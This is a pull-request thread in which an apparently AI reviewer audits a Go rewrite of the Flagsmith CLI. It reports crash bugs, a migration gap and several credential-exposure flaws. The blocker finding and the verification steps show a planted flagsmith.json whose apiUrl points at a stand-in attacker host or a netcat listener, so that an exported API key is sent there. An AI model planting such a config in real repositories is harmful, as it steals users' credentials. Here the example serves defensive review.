feat!: CLI v2

[khvn26]

Contributes to #42.

To try it, make sure you've got Go 1.26+ installed and:

git clone -b feat/cli-v2 https://github.com/Flagsmith/flagsmith-cli.git
cd flagsmith-cli
go build -o flagsmith .

./flagsmith init
./flagsmith flag list

[Zaimwa9]

@themis-blindfold review this PR. Given the size of the work, please focus on the overall architecture (following CLIs best practices), the room for improvements and deduplication. Avoid focusing on per-line code optimization. Focus on the big picture. Make sure that it is robust security wise and no credentials have leaked

[themis-blindfold]

🟠 Major · ⚡ Quick win

Detail zips tabwriter output lines against fields by index, so any field value containing a newline panics.

Observed: tabwriter treats a \n inside a cell as a line terminator, so a field whose Value spans two lines emits two output lines. splitLines then yields more lines than there are fields, and fields[i] runs off the end. The index is evaluated before color.NoColor is consulted inside colorDetailLine, so piping output does not avoid it.

Observed: values arrive unsanitised. Description is passed straight through at feature.go:146, flags.go:496, segment.go:435 and environment.go:66, and valueDisplay (flags.go:130-135) is a bare fmt.Sprint over the API's value. Table rows are safe only because truncateValue (flags.go:158) collapses whitespace first — detail views have no equivalent step.

Predicted: flagsmith feature get <feature> on a feature whose description was entered as more than one line, or flag get on a string flag holding a multi-line config blob, would panic with index out of range [N] with length N and a stack trace instead of rendering. TestDetailColoursSurviveSpaceyValues covers space runs but not newlines, which is why this survived 15b5954.

Fix direction: stop assuming a 1:1 line↔field mapping. Either collapse newlines in the value before it reaches Detail (the way truncateValue already does for tables), or have Detail render one field at a time so continuation lines are passed through uncoloured rather than consuming the next field's entry. A bare bounds guard is not enough — it would shift every subsequent field's colouring onto the wrong line.

[themis-blindfold]

🟠 Major · ⚡ Quick win

feature variant list renders null for a feature with no variants.

Observed: toFeatureView builds Variants with append (feature.go:71-74), so a standard (non-multivariate) feature yields a nil slice. renderList hands it to output.Render, which json.MarshalIndents nil to null. docs/design/05-crud.md:29-30 says a list is "a bare array … [] when empty". The getList normalisation added in f3fcc43 fixed the client layer; this slice is built in the command layer and never passes through it. Every other renderList call site uses make([]T, len(src)), so this is the one remaining site. TestFeatureVariant only lists a feature that has variants.

Predicted: flagsmith feature variant list banner --json --jq '.[]' on a standard feature would fail with a gojq "cannot iterate over: null" error rather than producing nothing.

Suggested change

	variants := toFeatureView(feat).Variants
	variants := toFeatureView(feat).Variants
	if variants == nil {
	variants = []variantView{}
	}

[themis-blindfold]

🟠 Major · 🏗️ Heavy lift

flagsmith.json is the exact filename the npm package this PR replaces writes flag state to, and nothing recognises or migrates it.

Observed: the published package is @flagsmith/cli (git show origin/main:package.json), whose only command is get, defaulting to --output ./flagsmith.json and writing flagsmith.getState() there (origin/main:src/commands/get/index.ts:27) so an app can do flagsmith.init({state}). Discover claims that filename by walking cwd→git toplevel, and Load emits one warning per unrecognised top-level key (config.go:241-249), printed to stderr on every command via context.go:188-190.

Observed: package.json, CHANGELOG.md and publish.yml are all deleted, so there is no npm deprecate step, no wrapper package and no README note; and the Go CLI registers no get (nor the designed evaluate), so v1's single use case has no successor.

Predicted: a user who installs v2 in a repo that still has a v1-generated flagsmith.json would see a Warning: unknown field "flags" in … line per state key prefixed to every command, with no project or environment resolved. flagsmith init there rewrites the file — Extra (config.go:38-77) preserves the state keys so the SDK bootstrap survives, but the file becomes half config, half state. Meanwhile nothing tells v1 users the package is frozen.

Fix direction: recognise a v1 state file (flags or environmentID at the top level) and fail with a migration hint instead of warning per key; and either keep publish.yml long enough to ship one deprecating @flagsmith/cli release, or state in the README that v1 is frozen and what replaces get.

[themis-blindfold]

🧹 Nit · ⚡ Quick win

FLAGSMITH_JSON_OUTPUT=0 turns JSON output on — the != "" test makes every value truthy, and FLAGSMITH_NO_INPUT (prompts.go:29) and FLAGSMITH_DEBUG (httpx/client.go:53) share it, so FLAGSMITH_NO_INPUT=false in CI silently disables prompting.

[themis-blindfold]

🧹 Nit · ⚡ Quick win

The name cache is written world-readable — organisation, project and segment names land at os.UserCacheDir()/flagsmith/cache.json with mode 0644 inside a 0755 directory (line 91), readable by every local user, and nothing else the CLI writes needs to be.

Suggested change

	return os.WriteFile(path, b, 0o644)
	return os.WriteFile(path, b, 0o600)

[themis-blindfold]

🧹 Nit · ⚡ Quick win

The comment overstates what Go does, and comparing Host alone misses a scheme downgrade — Go drops Authorization only for a target that is not a subdomain or exact match of the initial domain (so api.host → evil.api.host keeps it), and an https://api.host/x → http://api.host/y redirect passes this check unchanged, re-sending both Authorization and X-Environment-Key in cleartext.

[themis-blindfold]

🧹 Nit · ⚡ Quick win

The command's own example puts the live credential in curl's argv, where any local user can read it via ps for the life of the request — flagsmith auth token | curl -H @- …, or pointing at flagsmith api, teaches the safe shape instead.

[themis-blindfold]

⚖️ Themis judgement: 🔴 Hold the merge

A full TypeScript→Go rewrite: ~19.5k lines of new Go replacing a one-command npm package with a complete admin CLI. The architecture is genuinely good — one output.Render feeding both JSON and human views, one precedence chain for every context value, one hint table for every error sentinel (with a source-scanning meta-test that fails until a new sentinel gets a hint decision), keychain-only token storage, and PKCE-with-issuer-validation OAuth. Fourteen of the eighteen findings from the last pass are verified fixed in this checkout, each with a regression test, and CI is now real and green on Linux/macOS/Windows.

Three things hold it back. The credential-trust gap flagged last time is untouched: a flagsmith.json discovered anywhere between cwd and the git toplevel still sets the process-wide API URL, and FLAGSMITH_API_KEY is attached to whatever host that is with no check — the scheme isn't validated either, so it can be plain http://. Two new crash/output bugs are in the render layer. And the replaced npm package shares its filename with the new config file, with no migration path in either direction.

On the explicit brief: no credentials leaked. The committed root flagsmith.json holds a client-side environment key (public by design) plus a live project and organisation id; the ser. keys in the design docs are fabricated — they share shuffled character runs with each other (8kQqZ9pJmNb, K2mVsGdXhZ), so they are illustrative, not transcribed.

🎯 Correctness	3/5
🧪 Test coverage	4/5
📐 Code quality	4/5
🚀 Product impact	5/5

🔴 Blockers

• An auto-discovered flagsmith.json still redirects env-var credentials to any host (existing thread on internal/cmd/context.go). Observed: no mitigation was added — config.Discover (config.go:180-203) applies the nearest file with no opt-in, its apiUrl becomes the process-wide apiURL (context.go:191), and loadCredential (auth.go:89-102) attaches FLAGSMITH_API_KEY/FLAGSMITH_ACCESS_TOKEN to it; sdkApiUrl does the same for FLAGSMITH_ENVIRONMENT_KEY (api.go:99-107). The only validation Load performs is the ser. prefix on environment; unknown fields warn, a changed host does not. Observed: additionally, nothing anywhere validates the URL's scheme — secureScheme/validCredentialEndpoint exist only in internal/auth/oauth.go, so apiUrl: "http://…" sends the Master key in cleartext while flagsmith login refuses the same downgrade. Predicted: a CI runner or shell with FLAGSMITH_API_KEY exported, run inside a checkout containing {"project":1,"apiUrl":"https://evil.example"}, would send Authorization: Api-Key <master key> there on the first request. The provenance is already tracked (resolved.Source), so gating an env-var credential on a sourceConfig host — or at minimum printing the resolved instance to stderr before the first authenticated call — is cheap.

🟠 Majors

• internal/output/output.go — detail views panic on a field value containing a newline; see inline.
• internal/cmd/feature.go — feature variant list --json renders null for a non-multivariate feature; see inline.
• internal/config/config.go — the new config file collides with the replaced npm package's output file, with no migration path; see inline.
• The edge identity-override list still does not follow pagination (existing thread on internal/api/client.go:786) — unaddressed (unverified). Observed: EdgeIdentityOverrides (client.go:776-795) still uses the single-request c.get and decodes only results, while its core sibling goes through getList; the comment asserting "no pagination" is a claim, not evidence, and client_test.go:704-721 exercises a next-link cursor on the neighbouring edge-identities endpoint. Predicted: on an edge project where a feature has more overrides than the server's page size, flagsmith flag list --feature X --identity would silently truncate and report the truncated count as the total. One curl of /api/v1/environments/<key>/edge-identity-overrides?feature=N against an over-page-size edge environment settles it; if a next link appears, route the call through getList.
• A live project/organisation is still committed at the repo root and the .gitignore entry is still removed (existing thread on flagsmith.json) — partially addressed. Observed: the $schema half is fixed (it now pins to main, and version.IsRelease keeps a branch name out of generated files), but flagsmith.json remains committed with project: 44121 / organisation: 13, and git show origin/main:.gitignore shows the flagsmith.json line this PR drops. Observed: cmd_test.go has no TestMain and never sets FLAGSMITH_CONFIG_PATH, so tests run with cwd inside the repo and inherit this file through Discover. Predicted: any contributor running the binary anywhere in a checkout silently targets that project — including environment delete and flag update.
• No release or distribution channel for the Go binary (existing thread on README.md) — the harmful half is fixed, the rest is not. Observed: the Node workflows are deleted rather than left loaded, so a tag no longer publishes nothing, and pull-request.yml now runs go build, go test -race, golangci-lint and a six-target cross-compile with SHA-pinned actions — all green on this head. Observed: there is still no goreleaser config, release workflow, install script or Docker image, while docs/design/01-installation.md:7-17 promises "single static binary via goreleaser, from GitHub Releases", curl -fsSL https://get.flagsmith.com | sh and Flagsmith/setup-cli@v1, and the README's entire install story is go build -o flagsmith . with no note that distribution is a follow-up.

🧹 Nits

• internal/cmd/root.go — FLAGSMITH_JSON_OUTPUT=0 enables JSON; see inline.
• internal/cache/cache.go — the name cache is written world-readable; see inline.
• internal/httpx/client.go — the redirect policy's comment overstates Go's behaviour and the check ignores a scheme downgrade; see inline.
• internal/cmd/auth.go — auth token's own example puts the credential in curl's argv; see inline.
• Delete confirmations still echo the typed argument for features (existing thread on internal/cmd/organisation.go) — mostly fixed. Observed: organisation.go, project.go, segment.go and environment.go now print the canonical name, but feature.go:285 uses nameRef(args[0]) and findFeature matches case-insensitively (flags.go:377), so feature delete ONBOARDING --yes still confirms ONBOARDING (55); feature.go:455,535,541 (variant add/delete) print args[0] although feat.Name is in hand.
• Design docs still specify surface that does not exist (existing thread on docs/design/12-evaluate.md) — unaddressed. Observed: evaluate/eval registers no command, flag update has no --weight (07-flags.md:241-319) and no --limit exists (05-crud.md:45); every page carries Status: draft/poc and 12 carries Status: draft, a distinction that does not tell a reader which pages describe shipped behaviour, and the README links all twelve undifferentiated.

⚖️ Acknowledged

Nothing acknowledged: no thread is resolved and no reply accepts a trade-off. The two design pushbacks from @khvn26 (keeping init's config diff, and init rather than link) are on @Zaimwa9's threads, not findings of mine, and both were referred to the RFC.

📝 Walkthrough

• Rewrite — the oclif get command is gone; in its place a cobra CLI covering auth, organisation/project/environment/feature/segment/flag CRUD, flag reorder, and a raw api escape hatch.
• Context — flagsmith.json discovered cwd→git toplevel, with flag → env → file → default precedence resolved per value and provenance kept for flagsmith config.
• Auth — browser OAuth (PKCE S256, ephemeral loopback listener, crypto/rand state verified before anything else) with keychain-only storage and no plaintext fallback, plus FLAGSMITH_API_KEY/FLAGSMITH_ACCESS_TOKEN for CI.
• Output — one data value feeds --json/--jq and the human table/detail views; colour is applied after tabwriter alignment so escapes never affect column widths.
• CI — Node pipeline retired; Go build + -race tests on three OSes, golangci-lint, go mod tidy -diff, six-target cross-compile, actions pinned to commit SHAs. publish.yml and release-please.yml deleted with no Go successor.
• Prior review — fourteen findings fixed across the fix:/refactor:/perf: commits, each with a regression test; four remain open.

🧪 How to verify

1. flagsmith feature get <feature whose description has two lines> — expect a detail view, observe an index-out-of-range panic from output.Detail.
2. flagsmith feature variant list <standard, non-multivariate feature> --json --jq '.[]' — expect no output, observe a gojq null-iteration error.
3. In a scratch dir: printf '{"project":1,"apiUrl":"http://127.0.0.1:8081"}' > flagsmith.json, start nc -l 8081, then FLAGSMITH_API_KEY=<key> flagsmith flag list — check whether the key reaches that listener.
4. Drop a v1-style state file ({"flags":{},"environmentID":"x"}) at a repo root, run any command, then flagsmith init — check the warning volume and what gets written back.
5. curl /api/v1/environments/<key>/edge-identity-overrides?feature=N on an edge environment with more overrides than one page — look for a next link.

Automate: a Detail table test with \n in a value, and one renderList case per list command asserting [] rather than null when empty.

Product take: A major capability, not an increment — this turns a package that could dump flag state into a file into a CLI that can administer the whole tenancy chain, script against it with --jq, and authenticate a human or a CI job. The gaps are at the edges of the release, not the centre of the design: nothing ships the binary yet, and the users of the package being replaced are not told anything.

Big picture: internal/cmd is a single package owning command definitions, context precedence, credential resolution, ref resolution, rendering and prompting, coordinated through ~50 package-level flag variables plus mutable apiURL, cancelTimeout/timeoutParent, promptIn and credCache. The cost is already visible in this diff: resetFlags() walks every command's flag set and then hand-patches four variables that "do not reset cleanly", and refreshCommandTimeout cancels a context that init.go:119 captured earlier — safe today only because init opts out of the deadline entirely. Each new command adds globals the test reset must know about, and a missed one leaks between tests silently. The smallest useful move is to let each command group hold its own flags in a struct and pass the resolved context and credential as values rather than through package state.

🧭 Assumptions & unverified claims

• Whether /api/v1/environments/{key}/edge-identity-overrides paginates is unverified — no instance was reachable to check for a next link.
• Feature descriptions and string flag values are assumed to permit newlines (a dashboard textarea over a Django text field); this was not confirmed against a live instance, though nothing in the CLI sanitises them either way.
• Whether gojq's default compiler exposes env to a --jq expression was not confirmed from its source; a test asserting --jq 'env' is empty would close it cheaply.
• The @flagsmith/cli v1 behaviour is read from origin/main (src/commands/get/index.ts, package.json), not from the published registry entry.
• No Go toolchain was available here, so nothing was compiled or run; every finding is read from source, with CI's green build and -race tests on three platforms as the counterweight.

Fifty commits to grow a single get into a whole CLI, and the thing that finally trips it is a description with two lines in it. · reviewed at fc24fd7